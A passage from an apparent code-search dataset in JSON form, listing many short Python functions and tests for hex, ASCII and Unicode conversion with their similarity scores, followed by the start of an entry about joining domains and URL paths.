'U', 0xdb: 'U', 0xdc: 'U',\\n 0xdd: 'Y', 0xde: 'th', 0xdf: 'ss',\\n 0xe0: 'a', 0xe1: 'a', 0xe2: 'a', 0xe3: 'a', 0xe4: 'a', 0xe5: 'a',\\n 0xe6: 'ae', 0xe7: 'c',\\n 0xe8: 'e', 0xe9: 'e', 0xea: 'e', 0xeb: 'e',\\n 0xec: 'i', 0xed: 'i', 0xee: 'i', 0xef: 'i',\\n 0xf0: 'th', 0xf1: 'n',\\n 0xf2: 'o', 0xf3: 'o', 0xf4: 'o', 0xf5: 'o', 0xf6: 'o', 0xf8: 'o',\\n 0xf9: 'u', 0xfa: 'u', 0xfb: 'u', 0xfc: 'u',\\n 0xfd: 'y', 0xfe: 'th', 0xff: 'y',\\n 0xa1: '!', 0xa2: '{cent}', 0xa3: '{pound}', 0xa4: '{currency}',\\n 0xa5: '{yen}', 0xa6: '|', 0xa7: '{section}', 0xa8: '{umlaut}',\\n 0xa9: '{C}', 0xaa: '{^a}', 0xab: '<<', 0xac: '{not}',\\n 0xad: '-', 0xae: '{R}', 0xaf: '_', 0xb0: '{degrees}',\\n 0xb1: '{+/-}', 0xb2: '{^2}', 0xb3: '{^3}', 0xb4: \\\"'\\\",\\n 0xb5: '{micro}', 0xb6: '{paragraph}', 0xb7: '*', 0xb8: '{cedilla}',\\n 0xb9: '{^1}', 0xba: '{^o}', 0xbb: '>>',\\n 0xbc: '{1/4}', 0xbd: '{1/2}', 0xbe: '{3/4}', 0xbf: '?',\\n 0xd7: '*', 0xf7: '/'\\n }\\n\\n r = ''\\n for i in unicrap:\\n if xlate.has_key(ord(i)):\\n r += xlate[ord(i)]\\n elif ord(i) >= 0x80:\\n pass\\n else:\\n r += str(i)\\n return r\",\n \"def test_phred_to_ascii64(self):\\r\\n self.assertEqual(phred_to_ascii64(0), '@')\\r\\n self.assertEqual(phred_to_ascii64(30), '^')\",\n \"def test_contains_nonprintable_characters(self):\\n result = attributeAsLDIF(b\\\"key\\\", b\\\"val\\\\xFFue\\\")\\n self.assertEqual(result, b\\\"key:: %s\\\\n\\\" % encode(b\\\"val\\\\xFFue\\\"))\",\n \"def hex_to_ascii_string(input_string):\\n\\t\\tlist_of_hex = input_string.split(\\\" \\\")\\n\\t\\tchars = [chr(int(char, 16)) for char in list_of_hex if char != ' ']\\n\\t\\toutput_string = \\\"\\\".join(chars)\\n\\t\\treturn output_string\",\n \"def hex(string):\\n return string.encode('hex')\",\n \"def py_encode_basestring_ascii(s, _PY3=PY3):\\r\\n if _PY3:\\r\\n if isinstance(s, binary_type):\\r\\n s = s.decode('utf-8')\\r\\n else:\\r\\n if isinstance(s, str) and HAS_UTF8.search(s) is not None:\\r\\n s = s.decode('utf-8')\\r\\n def replace(match):\\r\\n s = match.group(0)\\r\\n try:\\r\\n return ESCAPE_DCT[s]\\r\\n except KeyError:\\r\\n n = ord(s)\\r\\n if n < 0x10000:\\r\\n #return '\\\\\\\\u{0:04x}'.format(n)\\r\\n return '\\\\\\\\u%04x' % (n,)\\r\\n else:\\r\\n # surrogate pair\\r\\n n -= 0x10000\\r\\n s1 = 0xd800 | ((n >> 10) & 0x3ff)\\r\\n s2 = 0xdc00 | (n & 0x3ff)\\r\\n #return '\\\\\\\\u{0:04x}\\\\\\\\u{1:04x}'.format(s1, s2)\\r\\n return '\\\\\\\\u%04x\\\\\\\\u%04x' % (s1, s2)\\r\\n return '\\\"' + str(ESCAPE_ASCII.sub(replace, s)) + '\\\"'\",\n \"def convertirHexadecimal(self):\\n self.convertir(lambda c: hex(ord(c))[2:], sep=' ')\",\n \"def entity_encode_hex(input, errors='strict'):\\n output = ''\\n for character in input:\\n if character in ('&', '<', '>'):\\n output += \\\"&#x%s;\\\" % character.encode('hex')\\n else:\\n output += character\\n\\n return (output, len(input))\",\n \"def to_hex(text):\\n return ' '.join([hex(ord(char)) for char in unicode(text, 'UTF-8')])\",\n \"def unicode_to_ascii(s: str) -> str:\\n chars = []\\n for c in unicodedata.normalize('NFD', s):\\n if unicodedata.category(c) != 'Mn' and c in ALLOWED_CHARS:\\n chars.append(c)\\n return \\\"\\\".join(chars)\",\n \"def test_hex_separator(self):\\n # Logic of separators is tested in test_bytes.py. This checks that\\n # arg parsing works and exercises the direct to bytes object code\\n # path within pystrhex.c.\\n s = b'{s\\\\005\\\\000\\\\000\\\\000worldi\\\\002\\\\000\\\\000\\\\000s\\\\005\\\\000\\\\000\\\\000helloi\\\\001\\\\000\\\\000\\\\0000'\\n self.assertEqual(binascii.hexlify(self.type2test(s)), s.hex().encode('ascii'))\\n expected8 = s.hex('.', 8).encode('ascii')\\n self.assertEqual(binascii.hexlify(self.type2test(s), '.', 8), expected8)\\n expected1 = s.hex(':').encode('ascii')\\n self.assertEqual(binascii.b2a_hex(self.type2test(s), ':'), expected1)\",\n \"def hexchar(i):\\n if i > -1 and i < 16:\\n return \\\"%X\\\" % i\\n else:\\n return None\",\n \"def escapeDecode(s: unicode) -> unicode:\\n ...\",\n \"def test_phred_to_ascii(self):\\r\\n self.assertEqual(phred_to_ascii(0, 120), 'x')\\r\\n self.assertEqual(phred_to_ascii(1, 119), 'x')\",\n \"def _UnicodeToAscii(string):\\n return unicode(string).encode('utf-8')\",\n \"def console_encode(s):\\n if self.encoding.lower() != \\\"utf-8\\\":\\n return s.encode(self.encoding, \\\"replace\\\").decode(self.encoding)\\n return s\",\n \"def test_value_special_chars(self):\\n raw = [\\n 0x48,\\n 0x65,\\n 0x79,\\n 0x21,\\n 0x3F,\\n 0x24,\\n 0x20,\\n 0xC4,\\n 0xD6,\\n 0xDC,\\n 0xE4,\\n 0xF6,\\n 0xFC,\\n 0xDF,\\n ]\\n string = \\\"Hey!?$ ÄÖÜäöüß\\\"\\n self.assertEqual(DPTString.to_knx(string), raw)\\n self.assertEqual(DPTString.from_knx(raw), string)\",\n \"def test_nonASCIIBytesToString(self):\\n self.assertRaises(UnicodeError, nativeString, b\\\"\\\\xFF\\\")\",\n \"def sanitize(instring):\\r\\n return instring.encode('ascii','replace')\",\n \"def hexify(text):\\r\\n return ' '.join([hexify_word(word) for word in text.split()])\",\n \"def test_ascii_to_phred64(self):\\r\\n self.assertEqual(ascii_to_phred64('@'), 0)\\r\\n self.assertEqual(ascii_to_phred64('^'), 30)\",\n \"def make_unicode():\\r\\n for num in range(300, 320):\\r\\n yield unichr(num)\",\n \"def _encode_text(self):\\n\\n print(f\\\"Hex encode; received message is {self.message}\\\")\\n return self.message.encode(\\\"utf-8\\\").hex()\",\n \"def _dehex(s):\\n import re\\n import binascii\\n\\n # Remove all non-hexadecimal digits\\n s = re.sub(br'[^a-fA-F\\\\d]', b'', s)\\n # binscii.unhexlify works in Python 2 and Python 3 (unlike\\n # thing.decode('hex')).\\n return binascii.unhexlify(s)\",\n \"def _encode_reserved(text, maximal=True):\\n if maximal:\\n bytestr = normalize('NFC', text).encode('utf8')\\n return u''.join([_UNRESERVED_QUOTE_MAP[b] for b in bytestr])\\n return u''.join([_UNRESERVED_QUOTE_MAP[t] if t in _UNRESERVED_CHARS\\n else t for t in text])\",\n \"def test_nonASCIIUnicodeToString(self):\\n self.assertRaises(UnicodeError, nativeString, u\\\"\\\\u1234\\\")\",\n \"def remove_non_ascii(text):\\n return re.sub(r'[^\\\\x00-\\\\x7F]', ' ', text)\",\n \"def ascii_convert_str(the_str: str):\\n return ANSI_ESCAPE.sub(rb\\\"\\\", the_str)\",\n \"def test_ascii_to_phred(self):\\r\\n self.assertEqual(ascii_to_phred('x', 120), 0)\\r\\n self.assertEqual(ascii_to_phred('x', 119), 1)\",\n \"def hexify_word(word):\\r\\n\\r\\n return ''.join([str(hex(ord(c))[2::]) for c in word])\",\n \"def _flatten_to_ascii(txt):\\r\\n if isinstance(txt, str):\\r\\n txt = txt.decode('utf-8')\\r\\n return unicodedata.normalize('NFKD', txt).encode('ASCII', 'ignore')\\r\\n else:\\r\\n return unicode(unicodedata.normalize('NFKD', txt).encode('ASCII', 'ignore'))\",\n \"def hexstring(self):\\n if self.current != b\\\"<\\\":\\n self.on_parser_error(\\\"Hexadecimal string expected\\\")\\n self.next()\\n token = b''\\n self.maybe_spaces_or_comments()\\n while self.is_hex_digit:\\n token += self.next()\\n self.maybe_spaces_or_comments()\\n\\n ch = self.next()\\n if ch != b'>':\\n self.on_parser_error(\\\"Wrong hexadecimal string\\\")\\n if len(token) % 2:\\n # if there is an odd number of digits - the last one should be assumed 0\\n token += b'0'\\n return HexString(token.decode(DEFAULT_ENCODING).upper())\",\n \"def sanatize_hex(data: str) -> str:\\n return data.replace(\\\"0x\\\", \\\"\\\").replace(\\\"0X\\\", \\\"\\\")\",\n \"def _hexchar(c):\\n if c == '1': return 1\\n if c == '2': return 2\\n if c == '3': return 3\\n if c == '4': return 4\\n if c == '5': return 5\\n if c == '6': return 6\\n if c == '7': return 7\\n if c == '8': return 8\\n if c == '9': return 9\\n if c == 'A' or c == 'a': return 10\\n if c == 'B' or c == 'b': return 11\\n if c == 'C' or c == 'c': return 12\\n if c == 'D' or c == 'd': return 13\\n if c == 'E' or c == 'e': return 14\\n if c == 'F' or c == 'f': return 15\\n return 0\",\n \"def _unascii(s):\\n\\n # make the fast path fast: if there are no matches in the string, the\\n # whole thing is ascii. On python 2, that means we're done. On python 3,\\n # we have to turn it into a bytes, which is quickest with encode('utf-8')\\n m = _U_ESCAPE.search(s)\\n if not m:\\n return s if PY2 else s.encode('utf-8')\\n\\n # appending to a string (or a bytes) is slooow, so we accumulate sections\\n # of string result in 'chunks', and join them all together later.\\n # (It doesn't seem to make much difference whether we accumulate\\n # utf8-encoded bytes, or strings which we utf-8 encode after rejoining)\\n #\\n chunks = []\\n\\n # 'pos' tracks the index in 's' that we have processed into 'chunks' so\\n # far.\\n pos = 0\\n\\n while m:\\n start = m.start()\\n end = m.end()\\n\\n g = m.group(1)\\n\\n if g is None:\\n # escaped backslash: pass it through along with anything before the\\n # match\\n chunks.append(s[pos:end])\\n else:\\n # \\\\uNNNN, but we have to watch out for surrogate pairs.\\n #\\n # On python 2, str.encode(\\\"utf-8\\\") will decode utf-16 surrogates\\n # before re-encoding, so it's fine for us to pass the surrogates\\n # through. (Indeed we must, to deal with UCS-2 python builds, per\\n # https://github.com/matrix-org/python-canonicaljson/issues/12).\\n #\\n # On python 3, str.encode(\\\"utf-8\\\") complains about surrogates, so\\n # we have to unpack them.\\n c = int(g, 16)\\n\\n if c < 0x20:\\n # leave as a \\\\uNNNN escape\\n chunks.append(s[pos:end])\\n else:\\n if PY3: # pragma nocover\\n if c & 0xfc00 == 0xd800 and s[end:end + 2] == '\\\\\\\\u':\\n esc2 = s[end + 2:end + 6]\\n c2 = int(esc2, 16)\\n if c2 & 0xfc00 == 0xdc00:\\n c = 0x10000 + (((c - 0xd800) << 10) |\\n (c2 - 0xdc00))\\n end += 6\\n\\n chunks.append(s[pos:start])\\n chunks.append(unichr(c))\\n\\n pos = end\\n m = _U_ESCAPE.search(s, pos)\\n\\n # pass through anything after the last match\\n chunks.append(s[pos:])\\n\\n return (''.join(chunks)).encode(\\\"utf-8\\\")\",\n \"def unhexchar(c):\\n c = c[:1]\\n if \\\"abcdefABCDEF0123456789\\\".find(c) != -1:\\n return int(c,16)\\n else:\\n return None\",\n \"def printHex(str):\\r\\n\\tmes = []\\r\\n\\tfor ch in str:\\r\\n\\t\\tif ch in printable:\\r\\n\\t\\t\\tmes.append(ch)\\r\\n\\t\\telse:\\r\\n\\t\\t\\t# rendo visibile il codice\\r\\n\\t\\t\\tmes.append(\\\"(%02x)\\\" %ord(ch))\\r\\n\\t\\t\\tif ch == '\\\\n':\\r\\n\\t\\t\\t\\tmes.append('\\\\n')\\r\\n\\tprint \\\"\\\".join(mes)\",\n \"def EscapeString(s):\\n result = ''\\n for c in s:\\n hexstr = hex(ord(c))\\n # because hexstr contains '0x', remove the prefix and add our prefix\\n result += '\\\\\\\\x' + hexstr[2:]\\n return result\",\n \"def unicode_to_ascii(s):\\n ret = \\\"\\\"\\n for ch in s:\\n try:\\n ach = str(ch)\\n ret += ach\\n except UnicodeEncodeError:\\n ret += \\\"?\\\"\\n return ret\",\n \"def to_ascii(ustr):\\n return ustr.encode('utf8')\",\n \"def is_ascii(token):\\n\\n printable = set(string.printable)\\n\\n for char in token:\\n if char not in printable:\\n return False\\n\\n return True\",\n \"def normalize(self, text):\\n\\n return binascii.hexlify(text)\",\n \"def to_ascii(self):\\n code = self.build()\\n for i, line in enumerate(code):\\n code[i] = line.replace('1', '|').replace('0', '_')\\n return '\\\\n'.join(code)\",\n \"def unhexlify(text):\\n unhexlified = binascii.unhexlify(text)\\n\\n if six.PY3:\\n unhexlified = unhexlified.decode('utf-8')\\n\\n return unhexlified\",\n \"def e(d):\\n return d.encode('UTF-8')\",\n \"def test_phred_to_ascii33(self):\\r\\n self.assertEqual(phred_to_ascii33(0), '!')\\r\\n self.assertEqual(phred_to_ascii33(30), '?')\",\n \"def normalize(data):\\n return unicodedata.normalize('NFKD', data).encode('ASCII', 'ignore')\",\n \"def convert_ascii_field(string):\\n values = []\\n for codepoint in [s for s in string.split(DATA_FILE_CODEPOINT_SEPARATOR) if (s != DATA_FILE_VALUE_NOT_AVAILABLE) and (len(s) > 0)]:\\n #if DATA_FILE_CODEPOINT_JOINER in codepoint:\\n # values.append(u\\\"\\\".join([hex_to_unichr(c) for c in codepoint.split(DATA_FILE_CODEPOINT_JOINER)]))\\n if (codepoint.startswith(DATA_FILE_ASCII_NUMERICAL_CODEPOINT_START)) or (codepoint.startswith(DATA_FILE_ASCII_UNICODE_CODEPOINT_START)):\\n values.append(hex_to_unichr(codepoint))\\n else:\\n values.append(codepoint)\\n return values\",\n \"def unicode_to_ascii(s):\\n return ''.join(c for c in unicodedata.normalize('NFD', s) if\\n unicodedata.category(c) != 'Mn')\",\n \"def hexify(buffer):\\n return ''.join('%02x' % ord(c) for c in buffer)\",\n \"def to_ascii(line):\\n data = [ord(c) for c in line]\\n data.append(10)\\n return data\",\n \"def _pythonifyString(s):\\n\\n if \\\"\\\\x00\\\" in s:\\n s = s[:s.index(\\\"\\\\x00\\\")]\\n return s\",\n \"def entity_decode_hex(input, errors='strict'):\\n if _is_unicode(input):\\n if '%' not in input:\\n return s\\n bits = _asciire.split(input)\\n res = [bits[0]]\\n append = res.append\\n for i in range(1, len(bits), 2):\\n append(unquote(str(bits[i])).decode('latin1'))\\n append(bits[i + 1])\\n return (''.join(res), len(input))\\n\\n preamble_regex = re.compile(r\\\"&#x\\\", flags=re.I)\\n bits = preamble_regex.split(input)\\n # fastpath\\n if len(bits) == 1:\\n return input\\n res = [bits[0]]\\n append = res.append\\n for item in bits[1:]:\\n try:\\n append(_hextochr[item[:2]])\\n append(item[3:])\\n except KeyError:\\n append('&#x')\\n append(item)\\n append(';')\\n\\n return (''.join(res), len(input))\",\n \"def unH(s):\\n return ''.join([chr(int(s[i:i+2],16)) for i in range(2, len(s),2)])\",\n \"def tohex(data: str) -> str:\\n match = re.fullmatch(r\\\"^0[x|X][0-9a-fA-F]+\\\", data)\\n if match:\\n return data.lower()\\n match = re.fullmatch(r\\\"^[0-9a-fA-F]+[h|H]$\\\", data)\\n if not match:\\n raise ValueError(f\\\"Required hex of the form `0x` or `H` found {data}\\\")\\n match = re.match(r\\\"^[0-9a-fA-F]+\\\", data)\\n return f\\\"0x{match.group().lower()}\\\"\",\n \"def to_ascii20(name: str) -> str:\\n # ascii characters have codes from 0 to 127\\n # but 127 is \\\"delete\\\" and we don't want it\\n return \\\"\\\".join([c for c in name if ord(c) < 127])[:20]\",\n \"def unescape(escaped_string):\\n\\n hex_msg = \\\"^x not followed by a valid 2-digit hex number\\\"\\n\\n token_start = 0\\n l = len(escaped_string)\\n i = 0\\n output = []\\n while i < l:\\n c = escaped_string[i]\\n\\n if c in _unprintables:\\n raise vps.errorhandler.StringUnspecial_characterException(\\n escaped_string, \\\"unprintable character\\\",\\n token_start, i)\\n elif c != \\\"^\\\":\\n output.append(c)\\n else:\\n if i == l - 1:\\n raise vps.errorhandler.StringUnspecial_characterException(\\n escaped_string, \\\"caret at end of string\\\",\\n token_start, i)\\n i += 1\\n next_c = escaped_string[i]\\n if next_c not in \\\"'\\\\\\\"^x\\\":\\n if next_c in _unprintables:\\n raise vps.errorhandler.StringUnspecial_characterException(\\n escaped_string,\\n \\\"^ followed by unprintable character\\\",\\n token_start, i)\\n else:\\n raise vps.errorhandler.StringUnspecial_characterException(\\n escaped_string,\\n \\\"^ followed by invalid character %s\\\" % (next_c,),\\n token_start, i)\\n if next_c != 'x':\\n output.append(next_c)\\n else:\\n if i >= l - 2:\\n raise vps.errorhandler.StringUnspecial_characterException(\\n escaped_string, hex_msg, token_start, i)\\n i += 1\\n hex1 = escaped_string[i]\\n i += 1\\n hex2 = escaped_string[i]\\n if hex1 not in _ALLOWED_SAMPLE_HEX_DIGITS:\\n raise vps.errorhandler.StringUnspecial_characterException(\\n escaped_string, hex_msg, token_start, i - 1)\\n if hex2 not in _ALLOWED_SAMPLE_HEX_DIGITS:\\n raise vps.errorhandler.StringUnspecial_characterException(\\n escaped_string, hex_msg, token_start, i)\\n val = int(hex1 + hex2, 16)\\n output.append(chr(val))\\n # incrementing i should happen at the end of the loop body for\\n # all paths\\n i += 1\\n return ''.join(output)\",\n \"def phred_to_ascii(p):\\n return chr(p+33)\",\n \"def _hexencode(bytestring):\\n _checkString(bytestring, description='byte string')\\n\\n # Use plain string formatting instead of binhex.hexlify,\\n # in order to have it Python 2.x and 3.x compatible\\n\\n outstring = ''\\n for c in bytestring:\\n outstring += '{0:02X}'.format(ord(c))\\n return outstring\",\n \"def _unicode_encode(self, s):\\n if isinstance(s, unicode):\\n return s.encode('utf-8')\\n else:\\n return s\",\n \"def string_to_ascii(string):\\n if string is None:\\n return\\n\\n if isinstance(string, str):\\n string = string.decode('utf-8')\\n\\n return normalize('NFKD', string).encode('ASCII', 'ignore')\",\n \"def print_as_hex(s):\\n print(\\\":\\\".join(\\\"{0:x}\\\".format(ord(c)) for c in s))\",\n \"def non_secret_char(c):\\n return c\",\n \"def phred_to_ascii(d, offset):\\r\\n return chr(d + offset)\",\n \"def ascii_hexchar(s: str) -> bool:\\n return frozenset(s).issubset(_ascii_h)\",\n \"def _wadifyString(s):\\n\\n if len(s) < 8:\\n s += \\\"\\\\x00\\\" * (8 - len(s))\\n return s\",\n \"def test_unicodeBasic(self):\\n input = raw_unicode(\\n r\\\"Ik ben ge\\\\u00EFnteresseerd in de co\\\\u00F6rdinatie van mijn knie\\\\u00EBn, maar kan niet \\\\u00E9\\\\u00E9n \\\\u00E0 twee enqu\\\\u00EAtes vinden die recht doet aan mijn carri\\\\u00E8re op Cura\\\\u00E7ao\\\")\\n output = input.split(\\\" \\\")\\n output[8] = output[8][0:-1]\\n for (itmO, itmV) in zip(output, tokenize_en(input)):\\n self.assertEqual(itmO, itmV[0])\\n self.assertTrue(input[itmV[1]:].startswith(itmO))\",\n \"def py_encode_basestring(s):\\n def replace(match):\\n return ESCAPE_DCT[match.group(0)]\\n return '\\\"' + ESCAPE.sub(replace, s) + '\\\"'\",\n \"def encode_hex(b):\\n if isinstance(b, str):\\n b = bytes(b, \\\"utf-8\\\")\\n if isinstance(b, bytes):\\n return str(hexlify(b), \\\"utf-8\\\")\\n raise TypeError(\\\"Value must be an instance of str or bytes\\\")\",\n \"def test_ascii_to_phred33(self):\\r\\n self.assertEqual(ascii_to_phred33('!'), 0)\\r\\n self.assertEqual(ascii_to_phred33('?'), 30)\",\n \"def to_ascii(string):\\n\\tfor key in UNICODE_TO_ASCII:\\n\\t\\tstring = string.replace(key, UNICODE_TO_ASCII[key])\\n\\n\\treturn string\",\n \"def convert(value):\\n if value < 256 and value > 32 and chr(value) in string.printable:\\n ascii_val = chr(value)\\n else:\\n ascii_val = \\\"\\\"\\n\\n return (hex(value), bin(value), ascii_val, value)\",\n \"def unicodeToAscii(s):\\n return ''.join(\\n c for c in unicodedata.normalize('NFD', s)\\n if unicodedata.category(c) != 'Mn'\\n )\",\n \"def hex_to_unichr(hex_string):\\n if (hex_string is None) or (len(hex_string) < 1):\\n return None\\n if hex_string.startswith(\\\"U+\\\"):\\n hex_string = hex_string[2:]\\n return int_to_unichr(int(hex_string, base=16))\",\n \"def to_ascii(a):\\n\\treturn str(\\n\\t\\ta.tostring(),\\n\\t\\t\\\"UTF-8\\\",\\n\\t\\terrors='ignore'\\n\\t)\",\n \"def replaceNonAsciiFromText(self, text):\\n\\t\\treturn ''.join([i if ord(i) < 128 else ' ' for i in text])\",\n \"def test_replace_problem_ascii(self):\\n test_string = 'We' + u'\\\\u2019' + ' help with your testing \\\\\\n efforts. Our company is the best for that, 10Coupons ' + u'\\\\u2122' + '.'\\n result_string = replace_problem_ascii(test_string)\\n if \\\"u2122\\\" in result_string:\\n self.fail(\\\"Unicode character not replaced.\\\")\\n if \\\"u2019\\\" in result_string:\\n self.fail(\\\"Unicode character not replaced.\\\")\\n if \\\"(tm)\\\" not in result_string:\\n self.fail(\\\"Replacement of unicode character unsuccessful.\\\")\\n test_string2 = \\\"This is a purely ascii string.\\\"\\n result_string2 = replace_problem_ascii(test_string2)\\n self.assertEqual(test_string2, result_string2)\",\n \"def hx(i):\\n a = hex(i)[2:]\\n if len(a)<2: a = ''.join(['0',a])\\n return a\",\n \"def test_hexlify_empty_script():\\n assert uflash.hexlify('') == ''\",\n \"def Quote(s):\\n if not nonnormal_char_re.search(s):\\n return s # no quoting necessary\\n slist = []\\n for char in s:\\n if nonnormal_char_re.search(char):\\n slist.append(\\\"\\\\\\\\x%02x\\\" % ord(char))\\n else:\\n slist.append(char)\\n return '\\\"%s\\\"' % \\\"\\\".join(slist)\",\n \"def unicode_escape(s, error=\\\"backslashreplace\\\"):\\n def ascii_chr(byte):\\n if 0 <= byte <= 127:\\n return chr(byte)\\n return r\\\"\\\\x%02x\\\" % byte\\n\\n bytes = s.encode('utf-8', error)\\n return \\\"\\\".join(map(ascii_chr, bytes))\",\n \"def test_bytes_to_ihex_universal():\\n data = b'A' * 32\\n expected_result = '\\\\n'.join([\\n ':020000040003F7',\\n ':108C100D4141414141414141414141414141414137',\\n ':108C200D4141414141414141414141414141414127',\\n ])\\n\\n result = uflash.bytes_to_ihex(0x38C10, data, universal_data_record=True)\\n\\n assert result == expected_result\",\n \"def _windows_unicode_to_python_triplequoted(self, x):\\n \\n if x[0] == chr(0xff) and x[1] == chr(0xfe): \\n # windows little-endian unicode marker ok \\n pass \\n else: \\n raise Exception('does not seem like a windows unicode file') \\n \\n x = x[2:] \\n nch = len(x) / 2 \\n res = 'u\\\"\\\"\\\"\\\\\\\\\\\\n'\\n n_quots = 0 \\n for i in xrange(nch): \\n t0 = x[i*2 + 0] \\n t1 = x[i*2 + 1] \\n \\n o = ord(t0) + ord(t1)*256 \\n if (o == ord('\\\"')): \\n n_quots += 1 \\n else: \\n n_quots = 0 \\n\\n if ((o >= ord('a')) and (o <= ord('z'))) or \\\\\\n ((o >= ord('A')) and (o <= ord('Z'))) or \\\\\\n ((o >= ord('0')) and (o <= ord('9'))):\\n res += chr(o) \\n elif (o <= 0x7e) and (chr(o) in ' \\\\n\\\\t:-_=[](){},.\\\\''): \\n res += chr(o) \\n elif (o == ord('\\\"') and n_quots < 3): \\n res += chr(o) \\n elif (o == ord('\\\\\\\\')): \\n # two quotes \\n res += '\\\\\\\\\\\\\\\\' \\n elif (o == ord('\\\\r')): \\n res += '\\\\\\\\r' \\n else: \\n res += '\\\\\\\\u%04x' % o \\n \\n res += '\\\"\\\"\\\"' \\n return res\",\n \"def isascii(s):\\n return len(s) == len(s.encode())\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.66453975","0.65925515","0.65499693","0.64991313","0.64508224","0.637776","0.63622725","0.6336682","0.63067186","0.6247356","0.6247335","0.6172891","0.6159729","0.6143763","0.61208767","0.61158335","0.611007","0.6102653","0.6097139","0.60858274","0.6073428","0.6071469","0.6063649","0.6031564","0.601596","0.599142","0.59487176","0.5940645","0.59061724","0.59037536","0.5889838","0.58849937","0.58759385","0.5864041","0.58618844","0.58604854","0.58522606","0.5851342","0.5841707","0.5823573","0.5821895","0.581439","0.58081985","0.5801853","0.579787","0.5794828","0.57922286","0.5791293","0.57787794","0.57733244","0.57457376","0.5739367","0.5727736","0.572626","0.57236147","0.5719977","0.5713013","0.5698719","0.5693663","0.56852263","0.56787014","0.5674102","0.5662338","0.5657139","0.5643816","0.5643073","0.56416184","0.5628856","0.56266576","0.56251764","0.562363","0.5622579","0.5617125","0.56076616","0.5605461","0.56033796","0.56006867","0.5597785","0.5591974","0.5586334","0.55742085","0.55697036","0.5559328","0.5548713","0.5548271","0.55400276","0.55374455","0.553656","0.5535909","0.55283016","0.5519904","0.55189717","0.5511574","0.5510698","0.5500764","0.54950434","0.5486357","0.548344","0.54760337","0.54742485"],"string":"[\n \"0.66453975\",\n \"0.65925515\",\n \"0.65499693\",\n \"0.64991313\",\n \"0.64508224\",\n \"0.637776\",\n \"0.63622725\",\n \"0.6336682\",\n \"0.63067186\",\n \"0.6247356\",\n \"0.6247335\",\n \"0.6172891\",\n \"0.6159729\",\n \"0.6143763\",\n \"0.61208767\",\n \"0.61158335\",\n \"0.611007\",\n \"0.6102653\",\n \"0.6097139\",\n \"0.60858274\",\n \"0.6073428\",\n \"0.6071469\",\n \"0.6063649\",\n \"0.6031564\",\n \"0.601596\",\n \"0.599142\",\n \"0.59487176\",\n \"0.5940645\",\n \"0.59061724\",\n \"0.59037536\",\n \"0.5889838\",\n \"0.58849937\",\n \"0.58759385\",\n \"0.5864041\",\n \"0.58618844\",\n \"0.58604854\",\n \"0.58522606\",\n \"0.5851342\",\n \"0.5841707\",\n \"0.5823573\",\n \"0.5821895\",\n \"0.581439\",\n \"0.58081985\",\n \"0.5801853\",\n \"0.579787\",\n \"0.5794828\",\n \"0.57922286\",\n \"0.5791293\",\n \"0.57787794\",\n \"0.57733244\",\n \"0.57457376\",\n \"0.5739367\",\n \"0.5727736\",\n \"0.572626\",\n \"0.57236147\",\n \"0.5719977\",\n \"0.5713013\",\n \"0.5698719\",\n \"0.5693663\",\n \"0.56852263\",\n \"0.56787014\",\n \"0.5674102\",\n \"0.5662338\",\n \"0.5657139\",\n \"0.5643816\",\n \"0.5643073\",\n \"0.56416184\",\n \"0.5628856\",\n \"0.56266576\",\n \"0.56251764\",\n \"0.562363\",\n \"0.5622579\",\n \"0.5617125\",\n \"0.56076616\",\n \"0.5605461\",\n \"0.56033796\",\n \"0.56006867\",\n \"0.5597785\",\n \"0.5591974\",\n \"0.5586334\",\n \"0.55742085\",\n \"0.55697036\",\n \"0.5559328\",\n \"0.5548713\",\n \"0.5548271\",\n \"0.55400276\",\n \"0.55374455\",\n \"0.553656\",\n \"0.5535909\",\n \"0.55283016\",\n \"0.5519904\",\n \"0.55189717\",\n \"0.5511574\",\n \"0.5510698\",\n \"0.5500764\",\n \"0.54950434\",\n \"0.5486357\",\n \"0.548344\",\n \"0.54760337\",\n \"0.54742485\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.61688596"},"document_rank":{"kind":"string","value":"12"}}},{"rowIdx":14481,"cells":{"query":{"kind":"string","value":"Takes domain and concatenates with path URIs separated by newlines.."},"document":{"kind":"string","value":"def domain_string(domain, path_set):\n out = domain + '\\n' + '\\n'.join(list(path_set)) + '\\n\\n\\n'\n return out"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def merge_link(url_domain, url_path):\n\n # Ensure domain is not empty\n if url_domain.strip() == \"\":\n return url_path\n\n # Strip / at end of domain\n if url_domain[-1] == \"/\":\n url_domain = url_domain[0:-1]\n\n # Strip / at beginning of path\n if url_path[0] == \"/\":\n url_path = url_path[1:]\n\n url_full = \"/\".join([url_domain, url_path])\n\n return url_full","def baseDomain(domain, includeScheme=True):\n result = ''\n url = urlparse(domain)\n if includeScheme:\n if len(url.scheme) > 0:\n result = '%s://' % url.scheme\n if len(url.netloc) == 0:\n result += url.path\n else:\n result += url.netloc\n return result","def _urljoin(self, *args):\r\n\t\treturn \"/\".join(map(lambda x: str(x).rstrip('/'), args))","def urljoin(*args):\n\n return \"/\".join(map(lambda x: str(x).rstrip('/'), args))","def createCompleteLink(link, domain):\n if link is not None and len(link) > 0:\n if re.match('^http', link) is not None:\n return link\n else:\n #Remove the first / to avoid //\n if link[0] == '/':\n link = link[1:]\n return domain + link\n return domain","def get_url(domain, path):\n\n return f\"https://{domain}.freshservice.com/api/v2/{path}\"","def str_join(paths: []):\n return \"/\".join(paths)","def join_path(base, *args):\n\tfilepath = base\n\tfor arg in args:\n\t\tfilepath = filepath + cfg.SEP_COMM + arg\n\tfilepath = filepath.replace( '//', cfg.SEP_COMM)\n\treturn filepath","def join(self, *parts):\n if parts:\n parts = list(parts)\n if len(parts) > 1:\n for i, p in enumerate(parts[:-1]):\n parts[i] = p.strip('/')\n parts[-1] = parts[-1].lstrip('/')\n return '/'.join(parts)","def join_urls(*urls):\r\n if not urls:\r\n return\r\n \r\n url = urls[0]\r\n for u in urls[1:]:\r\n if not url.endswith('/'):\r\n url += '/'\r\n while u.startswith('/'):\r\n u = utils.lstrips(u, '/')\r\n url += u\r\n return url","def path_to_url(path):\r\n if os.sep == '/':\r\n return path\r\n else:\r\n return '/'.join(split_all(path))","def join_url(*args): # type: (*str) -> str\n parts = [part[:-1] if part and part[-1] == '/' else part for part in args]\n parts.append('')\n return '/'.join(parts)","def concat_url(endpoint, url):\n u = \"%s/%s\" % (endpoint.rstrip(\"/\"), 